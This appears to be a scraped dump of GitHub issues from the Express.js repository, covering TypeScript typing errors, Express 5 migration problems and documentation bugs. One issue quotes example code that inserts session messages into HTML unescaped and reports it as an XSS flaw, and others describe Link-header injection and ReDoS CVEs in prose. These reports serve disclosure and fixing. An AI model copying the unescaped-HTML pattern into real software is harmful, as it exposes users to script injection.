    Argument of type '(err: any, req: Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>>, next: NextFunction) => Response<...>' is not assignable to parameter of type 'PathParams'.

30 app.use(errorHandler);
           ~~~~~~~~~~~~

  node_modules/@types/express-serve-static-core/index.d.ts:157:5
    157     <
            ~
    158         P = ParamsDictionary,
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ...
    166         ...handlers: Array<RequestHandlerParams<P, ResBody, ReqBody, ReqQuery, LocalsObj>>
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    167     ): T;
        ~~~~~~~~~
    The last overload is declared here.

","question,awaiting more info,typescript",2025-02-23T10:47:01Z,2025-03-01T15:05:56Z,8
expressjs/express,2868056527,Is `standardjs` mandatory for `typeof` equality checks?,"Hi,

I noticed that throughout the codebase, typeof x === ""type"" is consistently used for type checks. Since the type returned by typeof is always a string, would it be acceptable to use the normal equality operator (==) instead of strict equality (===) in these cases?

For example:
```js
if (typeof x == ""string"") { ... } // instead of typeof x === ""string""
```

This would slightly improve performance, as the JavaScript engine could skip the extra strict comparison overhead.

Is standardjs enforcing strict equality in these cases, or is this just a convention? Would a PR changing this be considered?

Thanks!",question,2025-02-21T05:45:26Z,2025-02-21T16:00:33Z,4
expressjs/express,2860619122,Query param,"# Query Param Remove param value if it is over 1000 giving undefined

## Environment information

**Version**:

To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}


**Platform**:

WINDOWS: output of winver
Windows: 11 Version 24H2 (OS Build 26120.3000) 


**Node.js version**:
 
Output of node -v.
v22.9.0

**Any other relevant information**:

## What steps will reproduce the bug?

1. send request with the query param exceeding 1000 characters or bytes



",bug,2025-02-18T14:26:32Z,2025-02-18T14:33:29Z,0
expressjs/express,2860594064,Cache route in express,"<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the OpenJs Slack community's #express channel:

* Slack invite form: https://slack-invite.openjsf.org/
* #express-js channel: https://openjs-foundation.slack.com/archives/C02QB1731FH

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
Without seeing what your code looks like, we won't be able to help you very much.
More is better when it comes to sharing code samples if you're having a problem. -->

how i can cache static routes in express js to low the stress on my server",question,2025-02-18T14:18:02Z,2025-02-18T14:22:53Z,0
expressjs/express,2844961530,Can not detect cancelled request in post handler when using express.json() middleware,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**:
```json
""dependencies"": {
  ""express"": ""4.21.2""
}
```

**Platform**:
```
$ uname -a
Linux Corona 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
```

**Node.js version**:
```
$ node --version
v20.17.0
```


## What steps will reproduce the bug?

The bug is that I can not detect if the request is cancelled when posting json. It might not be a documentation bug - either way, I couldn't get it working.

I have tried listening to the `abort` event on the request without success. As I understand it the events go hand-in-hand with node's http request, and this (https://nodejs.org/api/http.html#event-abort) suggests trying with a `destroyed` event. I didn't get that to work either.

When searching for a solution, the most common recommendation is to listen to the `close` event, although that is not intuitive.

```javascript
const express = require(""express"");
const app = express();
const port = 3000;

app.use(express.json());

app.post(""/sleep"", async (req, res) => {
  console.log(""Received JSON:"", req.body);

  const timeoutPromise = new Promise((resolve, reject) => {
    const timeoutId = setTimeout(() => {
      resolve(""Done sleeping"");
    }, 1000);

    req.on(""close"", () => {
     ... [TRUNCATED]",,2025-02-11T10:27:59Z,2025-02-19T18:36:21Z,2
expressjs/express,2841082465,`express.static.mime` is not exported in Express 5.x,"### Description

Express 4.x used to export the `mime` transitive dependency as `express.static.mime`:

- [`express@4.21.2` exported `serve-static`](https://github.com/expressjs/express/blob/4.21.2/lib/express.js#L81)
- [`serve-static@1.16.2` exported `send.mime`](https://github.com/expressjs/serve-static/blob/v1.16.2/index.js#L29)
- [`send@0.19.0` exported  `mime`](https://github.com/pillarjs/send/blob/0.19.0/index.js#L71)

Express 5.x no longer provides this export, but its documentation still references it:

![Image](https://github.com/user-attachments/assets/6f1f00b2-0d7b-487b-a078-95b695184dc4)

The newer version [`send@1.1.0` no longer exports `mime`](https://github.com/pillarjs/send/blob/1.1.0/index.js), so I'm not sure if this would be considered a documentation issue with Express 5.x, or a bug (which would require changes to `serve-static` and `send`). Would you please confirm?

### Expectations

If this is considered a documentation issue, here is a proposed revision to the documentation of `res.type(type)` which would remedy the inconsistency:

```diff
 If `type` contains the “/” character, then it sets the `Content-Type` to the
 exact value of `type`, otherwise it is assumed to be a file extension and the
 MIME type is looked up
-in a mapping using the `express.static.mime.lookup()` method.
+using the `lookup` method of the `mime-types` package.
```",,2025-02-10T00:59:12Z,2025-02-11T14:59:15Z,4
expressjs/express,2828605137,Release Plan: 5.1.0,"## Remaining Work

- [ ] https://github.com/expressjs/express/pull/6095
- [x] https://github.com/expressjs/express/pull/6285

## Dependency work

- [x] accepts
- [x] body-parser
  - [x] https://github.com/expressjs/body-parser/pull/578
  - [x] Update type-is 
    - [x] update mime-types
      - [x] update mime-db
- [ ] content-disposition
  - [ ] https://github.com/jshttp/content-disposition/pulls
  - [x] https://github.com/jshttp/content-disposition/issues/47
  - [ ] https://github.com/jshttp/content-disposition/pull/68
  - [ ] https://github.com/jshttp/content-disposition/pull/58
- [x] content-type
  - [x] `^` range https://github.com/expressjs/express/commit/d2de128a32f1ce3d360bbe3fad56afa026fc8832
- [x] cookie
  - [x] `^` range https://github.com/expressjs/express/commit/af7cd90893f4619212e01f271fbaa10f3176fb33
- [x] debug: 
  - [x] `^` range https://github.com/expressjs/express/commit/85e48bb8c109d2200077bf8d50f3a163488d0fa5
  - [x] https://github.com/expressjs/express/pull/6313
- [x] encodeurl
  - [x] `^` range https://github.com/expressjs/express/commit/af7cd90893f4619212e01f271fbaa10f3176fb33
- [x] escape-html
  - [x] `^` range https://github.com/expressjs/express/commit/af7cd90893f4619212e01f271fbaa10f3176fb33
- [x] etag
  - [x] `^` range https://github.com/expressjs/express/commit/af7cd90893f4619212e01f271fbaa10f3176fb33
- [x] finalhandler
  - [x] https://github.com/expressjs/express/pull/6373
- [x] fresh
  - [x] `^` range https://github.com/expressjs/express/commit... [TRUNCATED]",5.x,2025-02-03T21:52:04Z,2025-03-28T01:23:13Z,14
expressjs/express,2827856648,[Need] Add client hello for request,"
In a secure request, it is necessary to calculate the client's `ja3` and other fingerprints to determine whether the other party is malicious traffic and block it from the business layer. I want to use pure js implementation, but `req.socket` returned by `express` is of `net.Socket` type. I have not found a way to obtain `client hello` data, so I cannot calculate `ja3`. I don't know if this can be supported in `express`.",,2025-02-03T15:35:49Z,2025-02-04T04:31:41Z,2
expressjs/express,2826166600,Builtin Typescript support,Any plans to rewrite express in typescript to avoid having to rely on external type packages?,,2025-02-03T01:18:56Z,2025-02-03T13:00:05Z,9
expressjs/express,2820735200,Router.get method in Express is called with the wrong type: The request handler is mistaken for a child application,"Note: I use the typescript 
When using the tokenRouter.get method in the auth/token.ts file to define a route handler, the TypeScript compiler throws a type mismatch error. The error message is as follows:

## The console messages

auth/token.ts:15:30 - error TS2769: No overload matches this call.
  The last overload gave the following error.
    Argument of type '(req: Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>>) => Response<...> | undefined' is not assignable to parameter of type 'Application<Record<string, any>>'.
      Type '(req: Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>>) => Response<...> | undefined' is missing the following properties from type 'Application<Record<string, any>>': init, defaultConfiguration, engine, set, and 63 more.

15 tokenRouter.get('/getToken', function(req: Request, res: Response) {
                                ~~~~~~~~

  node_modules/@types/express-serve-static-core/index.d.ts:168:5
    168     (path: PathParams, subApplication: Application): T;
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    The last overload is declared here.


Found 1 error in auth/token.ts:15

## Code part
```typescript
import express, { Request, Response, Router } from 'express';

const tokenRouter: Router = express.Router();

tokenRouter.get('/getToken', function(req: Request, res: Response) {
    // 这里是处理逻辑
    const toke... [TRUNCATED]",question,2025-01-30T12:42:21Z,2025-01-30T16:02:34Z,1
expressjs/express,2811134961,Wildcard not working in express 5.0.1,"Found an issue with pathToRegexp used to create a route with the * operator in Express 5.0.1 (express@next).

When you create a new router and assign it the wildcard * operator, a pathToRegexpError is thrown, instead of a new route being registered with the * matching any string.

I have managed to reproduce the bug in stackblitz, available [here](https://stackblitz.com/edit/stackblitz-starters-hlzmadpl?file=router.js).",invalid,2025-01-25T19:11:50Z,2025-01-25T19:18:05Z,2
expressjs/express,2811007930,Missing semicolon in express/examples/auth/views/head.ejs,"In [express/examples/auth/views/head.ejs](https://github.com/expressjs/express/blob/master/examples/auth/views/head.ejs#L13) at line 13, `CSS` style for `.error` class' `color` attribute is missing a semicolon.
```css
.error {
    color: red
}
```
The code does not break as the missing semicolon is at the end of the last declaration in the block.

However, for consistency and best practice, a semicolon must be included, even for the last declaration.

## Fix

The process for bug fixing is:
- We will insert a semicolon
```css
.error {
    color: red;
}
```
",bug,2025-01-25T14:21:42Z,2025-01-25T20:25:26Z,2
expressjs/express,2809831531,"The home route is triggered several times when running nodeJs by using expressJs to get JSON data from an API, and render to the ejs file","I created a simple web application that fetches data from an API but when I get a response and render the result to ejs file it seems the route is called multiple times

- Here are my codes:-

**index.js file**
```
import express from ""express"";
import bodyParser from ""body-parser"";
import axios from ""axios"";

const app = express();
const port = 3000;

app.get(""/"", async (req, res) => {
  console.log(""Received a GET request to /"");
  try {
    const response = await axios.get(""https://api.restful-api.dev/objects"");
    const result = response.data;
    console.log(
      ""Fetched data from API:"",
      result[Math.floor(Math.random() * result.length)]
    );
    res.render(""index.ejs"", {
      data: result[Math.floor(Math.random() * result.length)],
    });
  } catch (error) {
    console.error(""Failed to make request:"", error.message);
  }
});
app.listen(port, () => {
  console.log(`Server running on port: ${port}`);
});

```

**index.ejs** file looks like this:

```
<!DOCTYPE html>
<html lang=""en"">
  <head>
    <meta charset=""UTF-8"" />
    <meta name=""viewport"" content=""width=device-width, initial-scale=1.0"" />
    <title>API - TEST</title>
  </head>
  <body>
    <h1>Welcome to API TEST</h1>
    <h2>Device Name = <%= data.name %></h2>
    <% console.log(""Home Page rendered successfully"", data.id) %>
  </body>
</html>
```

- And here are my results in the console when I run the web

![Image](https://github.com/user-attachments/assets/dbaa729f-04da-436e-9a47-4436922e2c39)

- ... [TRUNCATED]",question,2025-01-24T16:20:31Z,2025-01-24T17:16:43Z,0
expressjs/express,2807444760,XSS in examples,"I have found a potential Cross-Site Scripting (XSS) vulnerability in your codebase located at /examples/auth/index.js. In the following code, user input is directly rendered into the page without proper sanitization:

```
app.use(function(req, res, next){
    var err = req.session.error;
    var msg = req.session.success;
    if (err) res.locals.message = '<p>' + err + '</p>';  // Potential XSS
    if (msg) res.locals.message = '<p>' + msg + '</p>';
    next();
});
```
Risks:
This exposes the application to XSS attacks, where attackers can inject malicious scripts.
It can lead to script injection and potentially allow attackers to steal user data, perform actions on behalf of the user, or hijack user sessions.
Suggested Fix:
Use libraries like DOMPurify to sanitize user input before rendering it to prevent XSS attacks.
Encode or escape text before displaying it to avoid executing embedded scripts.
Consider using safe HTML templating engines that automatically handle escaping, such as Handlebars or Pug.
Implementing these measures will significantly enhance the security of the application and protect against XSS vulnerabilities.

Thank you for your attention to this matter.

Best Regards, @ZeroXJacks",bug,2025-01-23T17:01:38Z,2025-01-24T14:50:57Z,4
expressjs/express,2797041153,TypeError: Router.use() requires a middleware function but got a Object,"TypeError: Router.use() requires a middleware function but got a Object

setReqUser.ts

import { Request, Response, NextFunction } from 'express';
import User from ""../models/User"";
import jwt from ""jsonwebtoken"";

interface DecodedToken {
  id?: string;
}

export default async function setReqUser (req: Request, res: Response, next: NextFunction) {
  try {
    const cookies = req.cookies;
    const token = cookies?.token;

    if (!token) return next();

    const decodedToken = jwt.verify(token, process.env.JWT_SECRET!) as DecodedToken;

    if (decodedToken?.id) {
      const targetUser = await User.findOne({ id: decodedToken.id }).lean();

      if (targetUser) req.user = targetUser;
    }
  } catch (error) {
    console.error(error);
  }

  next();
};

",,2025-01-18T15:41:06Z,2025-01-18T19:59:11Z,0
expressjs/express,2794184549,DEBUG=express:* does not work in express@5.0.1,"### Description

[Debugging Express](https://expressjs.com/en/guide/debugging.html) said
""To see all the internal logs used in Express, set the DEBUG environment variable to express:* when launching your app.""
`DEBUG=express:* node index.js`

But it does not work in express@5.0.1
There is also no answer on [Moving to Express 5](https://expressjs.com/en/guide/migrating-5.html#path-syntax) 

### Expectations

How to debug in express@5.0.1?","bug,5.x",2025-01-17T01:12:18Z,2025-03-05T15:24:12Z,13
expressjs/express,2782701258,Express.js 4.21.2 application runs twice on localhost,"I'm not too sure how to fix this in express, but I found that the `express` app would run twice if you access it on a browser via `localhost`. I am using version `^4.21.2` on Windows 11.

**Reproducing the bug**:
```js
// This file is called `test.js`.
import express from 'express';

const mainServer = express();
mainServer.use(""*"", (request, response, next) => {
    console.log(""--------------------------------------------------------------------"");
    console.log(`Connection established with ${request.ip} on port ${request.socket.localPort} via remote port ${request.socket.remotePort}.`);
    console.log(`Request Type: ${request.method}`);
    console.log(`Request Host: ${request.headers.host}`);
    console.log(""--------------------------------------------------------------------"");
    console.log("""");

    next();
});

mainServer.all(""*"", (request, response) => {
    response.send(""Hello world!"");
});

mainServer.listen(80, () => {
    console.log(`✅ HTTP Server launched on port 80.`);
});
```
By running `$node test.js` and opening Chrome and typing in `http://localhost`, you see this in the console:
```
 HTTP Server launched on port 80.
--------------------------------------------------------------------
Connection established with ::1 on port 80 via remote port 56877.
Request Type: GET
Request Host: localhost
--------------------------------------------------------------------

-------------------------------------------------------... [TRUNCATED]",bug,2025-01-12T21:27:25Z,2025-01-13T01:37:03Z,2
expressjs/express,2776883753,Lack of TypeScript documentation - Extending Request / Response / etc.,"### Description

Quoting the only documentation within the code for extending the express types:

```
declare global {
    namespace Express {
        // These open interfaces may be extended in an application-specific manner via declaration merging.
        // See for example method-override.d.ts (https://github.com/DefinitelyTyped/DefinitelyTyped/blob/master/types/method-override/index.d.ts)
        interface Request {}
        interface Response {}
        interface Locals {}
        interface Application {}
    }
}
```

The URL refers to a piece of code that uses the following syntax:

```
declare namespace Express {
    export interface Request {
        originalMethod?: string | undefined;
    }
}
```

**This does not work. TypeScript also deprecated namespaces, making this doubly incorrect.**

The only correct way I've found of doing this is now:

```
declare module ""express-serve-static-core"" {
    export interface Response {
        originalMethod?: string | undefined;
    }
}
```

There is very little documentation online that shows this, and I cannot find documentation anywhere on expressjs.com for extending these (or for *anything at all* TypeScript-related, which seems pretty odd to me).

### Expectations

I would expect to find adequate documentation on expressjs.com or *somewhere* that documents usage of express with TypeScript specifically, and that covers extending Request / Response / Locals / Application interfaces... [TRUNCATED]",,2025-01-09T05:42:50Z,2025-01-11T18:00:34Z,3
expressjs/express,2768223258,`actions/setup-node@v4` in `ci.yml` has `Invalid action input 'persist-credentials'`,`actions/setup-node@v4` in `ci.yml` has `Invalid action input 'persist-credentials'`.,,2025-01-03T21:54:35Z,2025-01-08T19:24:53Z,1
expressjs/express,2761752045,Route Matching Confusion Between blogs/:id and blogs/create,"I encountered an issue where defining a route like /blogs/create alongside /blogs/:id causes Express to interpret create as the :id parameter. This behavior leads to errors when handling routes, as Express treats ""create"" as an ObjectId, which causes issues in MongoDB queries.
Steps to Reproduce:
Set up the following routes:
javascript
Copy code
app.get('/blogs/create', (req, res) => {
    res.render('create', { titlex: 'Create a Blog' });
});

app.get('/blogs/:id', (req, res) => {
    const id = req.params.id;
    Blog.findById(id)
        .then((result) => res.render('details', { blog: result, titlex: 'Blog Details' }))
        .catch((err) => console.log(err));
});
Start the server.
Navigate to /blogs/create.
Observed Behavior:
The /blogs/create route is not recognized. Instead, Express interprets ""create"" as the :id parameter, leading to a CastError when attempting to query the database with ""create"".

Expected Behavior:
The /blogs/create route should take precedence over /blogs/:id since it is more specific.

Potential Solutions:
Enhance route matching to prioritize specific routes over dynamic ones.
Improve the documentation to highlight this behavior and suggest workarounds.
Environment:
Express Version: (e.g., 4.18.2)
Node.js Version: (e.g., 16.20.0)
Platform: (e.g., Windows/Linux)
![Screenshot (2032)](https://github.com/user-attachments/assets/cae12070-cd1d-4583-ba76-d770b71e0181)
",,2024-12-28T14:56:59Z,2025-01-01T13:08:15Z,1
expressjs/express,2746043871,express.all('(.*)') throws error on v5,"Using 5.0.1 and I cannot get the .all('(.*)') to work.   I have followed all the examples.   Dropping down to 4.x as this has drained a lot of time.

Code:
```
this.expressApp.all('(.*)', function (req, res, next) {
      res.set('X-Powered', 'XXX');
      next();
    });
```

Error:
```
D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:123
        throw new TypeError(`Unexpected ${nextType} at ${index}, expected ${type}: ${DEBUG_URL}`);
        ^

TypeError: Unexpected ( at 1, expected END: https://git.new/pathToRegexpError
    at Iter.consume (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:123:15)
    at consume (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:179:16)
    at parse (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:183:20)
    at D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:294:74
    at Array.map (<anonymous>)
    at pathToRegexp (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:294:25)
    at Object.match (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:264:30)
    at matcher (D:\service.profile\api\node_modules\router\lib\layer.js:83:23)
    at new Layer (D:\service.profile\api\node_modules\router\lib\layer.js:90:62)
    at Function.route (D:\service.profile\api\node_modules\router\index.js:421:17)

Node.js v18.14.0
```",bug,2024-12-17T16:25:21Z,2024-12-17T21:29:49Z,4
expressjs/express,2744014069,Express.js Module Resolution Errors: Missing Internal Modules Not Utilized in Project,"Hello Express Community,

I've been encountering persistent issues with my Express.js application that I haven't been able to resolve despite numerous troubleshooting attempts. Below are the details of the problems and the steps I've taken so far.


Environment:

Node.js Version: v22.12.0
Express.js Version: latest
Operating System: Windows 11


Issues Encountered:

1: Error When Running node index.js:

```
node:internal/modules/cjs/loader:1252
  throw err;
  ^

Error: Cannot find module './middleware/query'
Require stack:
- ...\node_modules\express\lib\application.js
- ...\node_modules\express\lib\express.js
- ...\node_modules\express\index.js
- ...\index.js       
    at Function._resolveFilename (node:internal/modules/cjs/loader:1249:15) 
    ...
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '...\node_modules\express\lib\application.js',
    '...\node_modules\express\lib\express.js',
    '...\node_modules\express\index.js',
    '...\index.js'
  ]
}

Node.js v22.12.0
```



2: Error When Using Nodemon (npm start):

```
Error: Cannot find module '...\node_modules\nodemon\node_modules\brace-expansion\index.js'. Please verify that the package.json has a valid ""main"" entry
    at tryPackage (node:internal/modules/cjs/loader:494:19)
    ...
  code: 'MODULE_NOT_FOUND',
  path: '...\\brace-expansion\\package.json',
  requestPath: 'brace-expansion'
}

Node.js v22.12.0
```



Steps Taken to Resolve:

Reinstalled node_m... [TRUNCATED]",awaiting more info,2024-12-17T06:05:24Z,2025-01-10T18:23:11Z,3
expressjs/express,2738184541,How to use res.send([buffer]) without a content-type?,"I refactored my app to use in memory buffers instead of files. However an undesired side effect is that for all responses where we do `res.send(buf)` without setting an explicit `res.type()` express now defaults to:

```
Content-Type: application/octet-stream
```

I do not want this. Is there a workaround to use `res.send(buffer)` without setting any content-type automatically?

I know I can explicitly override it with `res.type(""bla/bla"")` but for many resources there  is not a known type. In these cases I want to set no content-type response header.

I am using express 5.0.1.",question,2024-12-13T11:32:44Z,2024-12-13T15:44:58Z,0
expressjs/express,2737482246, CVE-2024-10491 ,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->
A vulnerability has been identified in the Express response.links&nbsp;function, allowing for arbitrary resource injection in the Link&nbsp;header when unsanitized data is used.

The issue arises from improper sanitization in Link header values, which can allow a combination of characters like ,, ;, and <> to preload malicious resources.

This vulnerability is especially relevant for dynamic parameters.",3.x,2024-12-13T06:03:33Z,2024-12-13T15:29:37Z,10
expressjs/express,2726258599,"Unpatched `path-to-regexp` ReDoS in 0.1.x (CVE-2024-52798, CVE-2024-45296)","[CVE-2024-52798](https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-rhx6-c78j-4q9w)
[CVE-2024-45296](https://github.com/advisories/GHSA-9wv6-86v2-598j)

A new vulnerability has appeared in a dependent package. 
When forcibly updating to version 0.1.12, an error occurs: TypeError: pathRegexp is not a function.
",awaiting more info,2024-12-09T07:44:01Z,2025-01-14T19:58:33Z,12
expressjs/express,2725210928,Searching the Express docs returns a page without `https`,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

The bug is reproducible by:
1. Open the Express docs at https://expressjs.com/
2. Click on the searchbar in the navbar menu and search for a specific topic
3. Click on the required topic
4. Notice that the redirected page is not `https`

Here is the page info when I look up hello world example in the search bar

![image](https://github.com/user-attachments/assets/03e5cbf1-2871-4bad-bca7-7d3bd36e5a5f)



",bug,2024-12-08T12:32:43Z,2024-12-09T14:48:10Z,2
expressjs/express,2724741872,Connection not secure when viewing Express docs,"### Description

As you can see in the screenshot, the connection is not secure, as detected by Firefox.

![image](https://github.com/user-attachments/assets/e440c012-3740-437e-aedc-f69bf8cf5701)


### Expectations

Expected behavior is for the connection to be secure.",,2024-12-07T17:39:59Z,2024-12-07T17:41:37Z,0
expressjs/express,2720761084,"In Express 5, how to make a query param parsed as an array when it is an array of string of one element ?","Hello everybody,

I am currently migrating my app from Express 4.17.21 to Express 5. I am using Node 22.9. The only problem I have is for parsing the query params when it is array of string of 1 element.

Here is an example of the url : 

```
http://localhost/api/myApi/myBaseUrl?myQueryParam=firstElement
```
The query param firstElement is not recognized as a an array, and it was the case in Express 4.x.x.

This problem can be fixed by this code (found [https://github.com/cdimascio/express-openapi-validator/issues/599](url) thanks to @djMax)

```
app.use((req, res, next) => {
    // Express 5 re-parses the query string every time. This causes problems with
    // various libraries, namely the express OpenAPI parser. So we ""freeze it"" in place
    // here, which runs right before the routing stuff does.
    const { query } = req;
    if (query) {
      Object.defineProperty(req, 'query', {
        value: query,
      });
    }
  next();
});
```

But this is not very clean.

I know if I use the ""extended"" query parser (app.set(""query parser"", ""extended"")), and use the url
```
http://localhost/api/myApi/myBaseUrl?myQueryParam[]=firstElement
```
the problem can be fixed but for reasons - such as our APIs are used by consumers - I cannot use this solution.

So I wonder whether there is a ""clean"" way for parsing as Express 4 does...?

Thank you !",question,2024-12-05T15:45:38Z,2024-12-28T19:19:33Z,5
expressjs/express,2716033457,Upgrade Version of debug package,"Hi, there!

IDK if it's the appropriate channel to discuss about that but the package [debug](https://www.npmjs.com/package/debug) in use of this app is on 2.6.9 version. And it has a problem of memory leak as discussed [here](https://github.com/debug-js/debug/issues/678).

This issue suggests upgrade this package to version 3.7.0 which this problem was already solved.

I  can also submit a Pull Request if it would help.",backport,2024-12-03T21:43:03Z,2025-01-08T20:34:38Z,3
expressjs/express,2715486484,HTTP/2 103 not requesting linked resources,"I am really struggling with this for two days now and I can not explain why it would not work. Is there anything I am missing with this or does it simply not work?

I have set up a normal express app in nodejs with a http2 secure server and early hints being written:

```typescript
import fs from ""fs"";
import path from ""path"";
import zlib from ""zlib"";
import http2 from ""http2"";
import express from ""express"";
import http2Bridge from ""http2-express-bridge"";

import { SERVER_ROOT } from ""../etc/root"";
import { CLIENT_ROOT } from ""../etc/root"";

const app = http2Bridge(express);

const earlyHints = [
    ""</css/index.css>; rel=preload; as=style"",

    ""</js/index.js>; rel=preload; as=script"",
    ""</js/theme.js>; rel=preload; as=script""
];

const earlyHintObject = {
    ""link"": earlyHints
};

app.get(""/"", function(req, res, next) {
    req.url = ""index.html"";

    res.writeEarlyHints(earlyHintObject);

    next(""route""); // redirection of the path from / to /index.html
});

app.use(""/svg"", function(req, res, next) {
    res.setHeader(""Cache-Control"", ""public, max-age=3600"");
    res.setHeader(""Content-Type"", ""image/svg+xml"");

    next();
});

app.use(""/templates"", function(req, res, next) {
    res.setHeader(""Cache-Control"", ""private, max-age=3600, must-revalidate"");
    next();
});

app.use(function(req, res) {
    res.setHeader(""Content-Encoding"", ""gzip"");

    fs.createReadStream(path.join(CLIENT_ROOT, req.baseUrl, req.path))... [TRUNCATED]",question,2024-12-03T16:33:15Z,2024-12-03T16:42:26Z,0
expressjs/express,2702398418,"app.listen() error behavior is different in Express 4 vs. 5, if port is occupied","Hi there,
Great to see that Express 5 with async request handlers is finally available :-)

I have a question about behavior that differs in Express 4 vs. 5, if the listen port is already in use.
I wanted to know if that's on purpose, or if it's a bug.
If it's on purpose, it should probably be mentioned here? https://expressjs.com/en/guide/migrating-5.html
Thanks for having a look!

```js
// minimal-express.mjs

import express from 'express';
import expressPkg from 'express/package.json' with { type: ""json"" };

const app = express();
app.use(express.json());
app.get('/api/health', (req, res) => {
	res.status(200).json({ status: 'ok' });
});

console.log('Express ', expressPkg.version);
console.log('Starting Express server on port 7072...');
const server = app.listen(7072, '0.0.0.0', () => {
	console.log('Callback');
	if (!server.address()) {
		// This line is only reachable in Express 5, but not in Express 4.
		throw new Error('Failed to start server (Express 5).');
	}
	console.log('Listening on http://localhost:7072/ - e.g. http://localhost:7072/api/health');
});
```

Enviroment: WSL2, Ubuntu 22.04, Node 20 or 22
```
PRETTY_NAME=""Ubuntu 22.04.5 LTS""
Linux MYHOSTNAME 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Node.js v20.18.1
Node.js v22.11.0 (same result)
```

Results with Express 4, if port is already in use:
```
Express  4.21.1
Starting Express server on port 7072...
nod... [TRUNCATED]",docs,2024-11-28T14:41:42Z,2024-12-20T15:14:29Z,3
expressjs/express,2682559691,"This makes me think: should other things, like `this.cache` and `app.locals`, use `Object.create(null)` too?","              This makes me think: should other things, like `this.cache` and `app.locals`, use `Object.create(null)` too?

_Originally posted by @EvanHahn in https://github.com/expressjs/express/pull/4835#discussion_r811355575_
            ",,2024-11-22T09:29:57Z,2024-11-22T22:52:52Z,3
expressjs/express,2650096786,How to detect requests that did send a response,"I would like to detect a bug in my express 5 app where a request has been handled by express, but it somehow did not send a response to the client. This results in leaving the client hanging and is difficult to debug.

A typical scenario in which this occurs is when a router code does something async in a promise, but you forgot to `return` this promise in the router. In this case, when the promise gets rejected, express will not catch it and send a error message to the client. 

What I need is a hook or type of middleware (postware?) that _always runs_ after express is done with the request, including waiting for a promise returned by the router to get settled and running the error handler on rejection. Once all this has completed I want to run a final check if anything has actually been sent to the client.

I understand this does not work for express applications in general, because it requires routers always `return` the promise that will sending a response, which express does not require. But I think it is good practice and it will make it possible to use such a postware handler.
",question,2024-11-11T18:41:37Z,2024-11-12T11:55:16Z,0
expressjs/express,2647074345,obsolete code in examples/search,"Path like `/search/:query?` isn't supported by express 5.x anymore. Also, the APIs of reids package has changed to async functions, the names changed to camel-cased style. How to update these outdated code? I tried to update one example, no one responded, so I thing I may do something wrong.",question,2024-11-10T10:18:57Z,2024-11-11T11:52:53Z,0
expressjs/express,2644257956,res.json() BUG on the Edge,"### Express: 4.21.1
### Edge: 130.0
```js
import express from 'express'
const app = express()

app.get('/', (req, res) => {
 // or res.json([])
  return res.json(1)
})

app.listen(3000, () => {
  console.log('Server is running on port 3000')
})
```
<img width=""662"" alt=""截屏2024-11-08 22 33 54"" src=""https://github.com/user-attachments/assets/00056bc8-f563-4d59-af9e-daa4a4191b69"">

### And, Chrome, Firefox, Safari is no problem, just Edge Bug.
",,2024-11-08T14:45:54Z,2024-11-11T14:19:27Z,5
expressjs/express,2641548169,Support for parenthesis is missing in URI,"I'm building an [Odata V4](https://www.odata.org) library on top of Express v5. 

However, I’m facing issues implementing a route like `/Products(:id)` due to the route validation logic described in the [release note](https://expressjs.com/2024/10/15/v5-release.html).

This kind of particular route is used to identify a unique resource as mentioned in [OData Documentation](https://docs.oasis-open.org/odata/odata/v4.01/odata-v4.01-part2-url-conventions.html#sec_URLComponents) and also along with this it is also used for calling bound/unbound action mention [here](https://docs.oasis-open.org/odata/odata/v4.01/odata-v4.01-part1-protocol.html#sec_BindinganOperationtoaResource).

Could you advise if there’s a way to implement this specific route in Express v5?
",question,2024-11-07T16:30:31Z,2024-11-07T22:20:47Z,0
expressjs/express,2626526544,Using /*splat in app.all() does not work on v5,"Hi,

I recently tried to upgrade to v5 from v4 and used the following guide:

[https://expressjs.com/en/guide/migrating-5.html#path-syntax](https://expressjs.com/en/guide/migrating-5.html#path-syntax)

Here is my `app.all()` that sets headers on all routes:

  ```
  app.all('/api/*', function (req, res, next) {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader(
      'Access-Control-Allow-Headers',
      'Origin, Accepts, Accept, Accept-Version, Content-Length, Content-MD5, Content-Type, Date, X-Api-Version, X-Response-Time, X-CSRF-Token, Authorization',
    );
    res.setHeader('Access-Control-Allow-Methods', '*');
    res.setHeader('Access-Control-Expose-Headers', 'X-Api-Version, X-Request-Id, X-Response-Time');
    res.setHeader('Access-Control-Max-Age', '1000');
